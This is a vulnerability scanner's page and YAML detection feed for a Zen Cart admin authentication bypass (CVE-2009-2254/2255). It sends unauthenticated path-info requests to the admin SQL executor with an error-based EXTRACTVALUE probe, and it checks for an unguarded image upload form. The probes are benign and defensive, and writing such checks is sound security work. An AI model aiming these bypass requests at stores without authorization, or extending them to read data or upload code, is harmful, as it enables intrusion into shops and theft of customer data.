Zen Cart — 1 vulnerability check

noctis ships 1 vulnerability check for Zen Cart, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Zen Cart Admin password_forgotten.php Authentication Bypass

CVECVE-2009-2254, CVE-2009-2255
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/zen-cart/CVE-2009-2254.yaml

Tests Zen Cart 1.3.8a and earlier for the admin authentication bypass in which any admin script requested with /password_forgotten.php appended to its path runs without logging in. In the web root and in the /zencart, /zen-cart, /shop, /catalog and /store directories, the feed sends a SELECT statement to the admin SQL query executor (admin/sqlpatch.php) through that path, asking the database to raise an XPath error carrying the product of two random numbers; the correct product in the reply confirms that the database ran SQL sent by an unauthenticated visitor. The product is not part of the request, so a page that only echoes it is not reported. On databases without the EXTRACTVALUE function, the feed instead sends a random number of empty statements, which the executor counts without running, and checks that it reports exactly that many statements processed. Separately, it requests the "new record company" form of admin/record_company.php the same way and reports when its image upload field is shown without logging in; the upload is not attempted. No store data is read or changed; like any admin page visit, each request is recorded in the admin activity log.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/admin/sqlpatch.php/password_forgotten.php?action=execute with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST {{dir}}/admin/sqlpatch.php/password_forgotten.php?action=execute with a crafted body
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request GET {{dir}}/admin/record_company.php/password_forgotten.php?action=new
  9. Parses / computes the next value with a Rhai script
  10. Checks proof for ^[^ ]*/admin/sqlpatch\.php/password_forgotten\.php: XPATH syntax erro… → finding QoD 97: Zen Cart Admin SQL Query Executor Without Authentication (CVE-2009-2254)
  11. Checks weak for ^[^ ]*/admin/sqlpatch\.php/password_forgotten\.php: [0-9]+ statements… → finding QoD 75: Zen Cart Admin SQL Query Executor Without Authentication (CVE-2009-2254)
  12. Checks upload for ^[^ ]*/admin/record_company\.php/password_forgotten\.php\?action=new$ → finding QoD 75: Zen Cart Admin Record Company Image Upload Without Authentication (CVE-2009-2255)

References:

Feed source — tests/vulnerabilities/zen-cart/CVE-2009-2254.yaml
# Zen Cart admin password_forgotten.php PATH_INFO authentication bypass —
# CVE-2009-2254 (admin/sqlpatch.php SQL execution) and CVE-2009-2255
# (admin/record_company.php image upload)
#
# Zen Cart <= 1.3.8a, admin/includes/init_includes/init_admin_auth.php:
#   if (!isset($_SESSION['admin_id'])) {
#     if (!(basename($PHP_SELF) == FILENAME_PASSWORD_FORGOTTEN . '.php')) {
#       zen_redirect(zen_href_link(FILENAME_LOGIN, '', 'SSL'));
# $PHP_SELF carries PATH_INFO, so any admin script requested as
# /admin/<script>.php/password_forgotten.php runs without a session. 1.3.9
# (and the 2009 1.3.8 security patch) redirects such URLs to login.php.
#
# admin/sqlpatch.php?action=execute splits the POSTed query_string on "\n",
# runs every ";"-terminated statement through $db->Execute() (an empty one is
# counted but not run), then shows "<N> statements processed."; a failed
# query dies in queryFactory::show_error() printing "<errno> <mysql_error()>".
# admin/record_company.php?action=new renders the image upload form whose
# record_company_image file is saved under images/ unchecked (CVE-2009-2255).
#
# Detection (benign), per candidate install directory
# ("", /zencart, /zen-cart, /shop, /catalog, /store):
#   1. QoD 97 (CVE-2009-2254): POST
#        query_string=SELECT EXTRACTVALUE(1,CONCAT(0x7e,<a>*<b>));
#      MySQL >= 5.1 / MariaDB raise "XPATH syntax error: '~<a×b>'", which
#      show_error() prints. The product of two random 6-digit operands is not
#      in the request (the page only echoes "<a>*<b>"). Reads no table.
#   2. QoD 75 fallback (MySQL 5.0, no EXTRACTVALUE): POST <N> CRLF lines of ";"
#      (N random, 11-60). Empty statements are counted but never sent to the
#      database, so nothing runs; "<N> statements processed." proves the SQL
#      executor ran without a session.
#   3. QoD 75 (CVE-2009-2255): GET record_company.php/password_forgotten.php
#      ?action=new shows the upload form (file input record_company_image)
#      without a session. The upload itself is not attempted: it inserts a
#      record company row and writes a file on the target.
#
# Improvements over the source NASL: the NASL POSTs "query_string=;" to
# <dir>/admin/sqlpatch.php/password_forgotten.php and looks for the fixed text
# "1 statements processed", which any page carrying that text matches, and it
# reports CVE-2009-2255 without testing record_company.php. This feed proves
# SQL execution with a database-computed value, makes the fallback count
# random, checks the record_company.php upload form separately (each finding
# names only its own CVE) and also looks in common install directories.
#
# CVSS (NVD v2, no v3 score): CVE-2009-2254 7.5, CVE-2009-2255 6.8.
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_zencart_code_exec_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800820, GPL-2.0-only).
uid: 4d10854d-77f9-4df9-a68d-d4f8abff5711
name: "Zen Cart Admin password_forgotten.php Authentication Bypass (CVE-2009-2254, CVE-2009-2255)"
description: |
  Tests Zen Cart 1.3.8a and earlier for the admin authentication bypass in
  which any admin script requested with /password_forgotten.php appended to
  its path runs without logging in. In the web root and in the /zencart,
  /zen-cart, /shop, /catalog and /store directories, the feed sends a SELECT
  statement to the admin SQL query executor (admin/sqlpatch.php) through that
  path, asking the database to raise an XPath error carrying the product of two
  random numbers; the correct product in the reply confirms that the database
  ran SQL sent by an unauthenticated visitor. The product is not part of the
  request, so a page that only echoes it is not reported. On databases without
  the EXTRACTVALUE function, the feed instead sends a random number of empty
  statements, which the executor counts without running, and checks that it
  reports exactly that many statements processed. Separately, it requests the
  "new record company" form of admin/record_company.php the same way and
  reports when its image upload field is shown without logging in; the upload
  is not attempted. No store data is read or changed; like any admin page
  visit, each request is recorded in the admin activity log.
cves: [CVE-2009-2254, CVE-2009-2255]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [zen-cart, php, mysql, sqli, auth-bypass, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-2254"
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-2255"
  - "https://www.exploit-db.com/exploits/9004"
  - "https://www.exploit-db.com/exploits/9005"
  # OpenVAS/Greenbone NASL 2009/gb_zencart_code_exec_vuln.nasl (GPL-2.0-only)

steps:
  # Random operands and statement count; the expected proofs are computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999), n: rand_int(11, 60) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  # n lines of ";" (URL-encoded ";\r\n"). The stock sqlpatch.php splits on
  # its own source line ending, which is CRLF in the released fileset; trim()
  # drops the "\r" left over when a copy was converted to LF.
  - id: mint-empty
    action: script
    code: 'crap(m.n * 9, "%3B%0D%0A")'
    store_as: empties

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: init-weak
    action: set_var
    var_name: weak
    var_value: ""

  - id: init-upload
    action: set_var
    var_name: upload
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-xp-r
    action: set_var
    var_name: xp_r
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/zencart", "/zen-cart", "/shop", "/catalog", "/store"]
      var: dir

  - id: init-sc-r
    action: set_var
    var_name: sc_r
    var_value: {status: 0, body: ""}

  - id: init-rc-r
    action: set_var
    var_name: rc_r
    var_value: {status: 0, body: ""}

  - id: inject-xpath
    action: http_request
    method: POST
    path: "{{dir}}/admin/sqlpatch.php/password_forgotten.php?action=execute"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == ""'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "query_string=SELECT%20EXTRACTVALUE(1%2CCONCAT(0x7e%2C{{m.a}}*{{m.b}}))%3B"
    store_as: xp_r

  # The error text may be HTML-escaped by a front end; accept the quote in any
  # common form, or none.
  - id: verdict-xpath
    action: script
    code: |
      if proof != "" { proof }
      else if type_of(xp_r.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod + "\\b", xp_r.body) != "" { dir + "/admin/sqlpatch.php/password_forgotten.php: XPATH syntax error: ~" + prod }
      else { "" }
    store_as: proof

  # Fallback (MySQL 5.0): n empty statements, counted but never executed.
  - id: inject-empty
    action: http_request
    method: POST
    path: "{{dir}}/admin/sqlpatch.php/password_forgotten.php?action=execute"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'proof == "" && weak == ""'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "query_string={{empties}}"
    store_as: sc_r

  - id: verdict-empty
    action: script
    code: |
      if weak != "" { weak }
      else if proof == "" && type_of(sc_r.body) == "string" && sc_r.status == 200 && egrep("(?:&nbsp;|>|\\s)" + m.n + " statements processed\\.", sc_r.body) != "" { dir + "/admin/sqlpatch.php/password_forgotten.php: " + m.n + " statements processed." }
      else { "" }
    store_as: weak

  # CVE-2009-2255: the record_company.php upload form, read-only.
  - id: fetch-upload-form
    action: http_request
    method: GET
    path: "{{dir}}/admin/record_company.php/password_forgotten.php?action=new"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'upload == ""'
    store_as: rc_r

  - id: verdict-upload-form
    action: script
    code: |
      if upload != "" { upload }
      else if type_of(rc_r.body) == "string" && rc_r.status == 200 &&
              egrep("<input type=\"file\" name=\"record_company_image\"", rc_r.body) != "" &&
              egrep("(?i)<form [^>]*record_company\\.php\\?action=insert[^>]*multipart/form-data", rc_r.body) != "" { dir + "/admin/record_company.php/password_forgotten.php?action=new" }
      else { "" }
    store_as: upload

  # ── Second group, run once after the loop ─────────────────────────────────
  - id: after-loop
    action: set_var
    var_name: done
    var_value: true
    loop:
      over: ["once"]
      var: pass

  - id: report
    action: match
    source: proof
    pattern: "^[^ ]*/admin/sqlpatch\\.php/password_forgotten\\.php: XPATH syntax error: ~[0-9]+$"
    on_match:
      finding:
        title: "Zen Cart Admin SQL Query Executor Without Authentication (CVE-2009-2254)"
        description: "An unauthenticated POST to the admin SQL query executor (admin/sqlpatch.php) with /password_forgotten.php appended to its path made the database compute the product of two random numbers, which came back in the database error. Any SQL statement the store's database user may run can be executed the same way, including reading the admin password hashes and customer data or changing the store's configuration."
        remediation: "Upgrade Zen Cart to 1.3.9 or later, or apply the Zen Cart 1.3.8 security patch that rejects password_forgotten.php URLs with more than one \".php\" in init_admin_auth.php. Rename the admin directory and restrict access to it."
        cves: [CVE-2009-2254]
        cvss: 7.5
        severity: high
        confidence_delta: 0.65
        qod: 97
        evidence: "POST to sqlpatch.php with query_string=SELECT EXTRACTVALUE(1,CONCAT(0x7e,{{m.a}}*{{m.b}})); returned the database-computed result: {{proof}}"

  - id: report-weak
    action: match
    source: weak
    condition: 'proof == ""'
    pattern: "^[^ ]*/admin/sqlpatch\\.php/password_forgotten\\.php: [0-9]+ statements processed\\.$"
    on_match:
      finding:
        title: "Zen Cart Admin SQL Query Executor Without Authentication (CVE-2009-2254)"
        description: "An unauthenticated POST to the admin SQL query executor (admin/sqlpatch.php) with /password_forgotten.php appended to its path was processed: the executor reported exactly the random number of empty statements sent, which it counts without running. Any SQL statement the store's database user may run can be executed the same way (the database did not support the computed-value proof)."
        remediation: "Upgrade Zen Cart to 1.3.9 or later, or apply the Zen Cart 1.3.8 security patch that rejects password_forgotten.php URLs with more than one \".php\" in init_admin_auth.php. Rename the admin directory and restrict access to it."
        cves: [CVE-2009-2254]
        cvss: 7.5
        severity: high
        confidence_delta: 0.50
        qod: 75
        evidence: "POST to sqlpatch.php with {{m.n}} empty statements → {{weak}}"

  - id: report-upload
    action: match
    source: upload
    pattern: "^[^ ]*/admin/record_company\\.php/password_forgotten\\.php\\?action=new$"
    on_match:
      finding:
        title: "Zen Cart Admin Record Company Image Upload Without Authentication (CVE-2009-2255)"
        description: "The admin record company form (admin/record_company.php), whose image upload saves the file under the store's images directory without checking its type, was served without logging in when /password_forgotten.php was appended to its path. An attacker can upload a PHP file through it and run code on the server. The upload itself was not attempted, since it adds a record company and writes a file."
        remediation: "Upgrade Zen Cart to 1.3.9 or later, or apply the Zen Cart 1.3.8 security patch that rejects password_forgotten.php URLs with more than one \".php\" in init_admin_auth.php. Rename the admin directory, restrict access to it, and disable PHP execution in the images directory."
        cves: [CVE-2009-2255]
        cvss: 6.8
        severity: medium
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{upload}} (no session) returned the record_company.php upload form with the record_company_image file field"

View these feeds on GitHub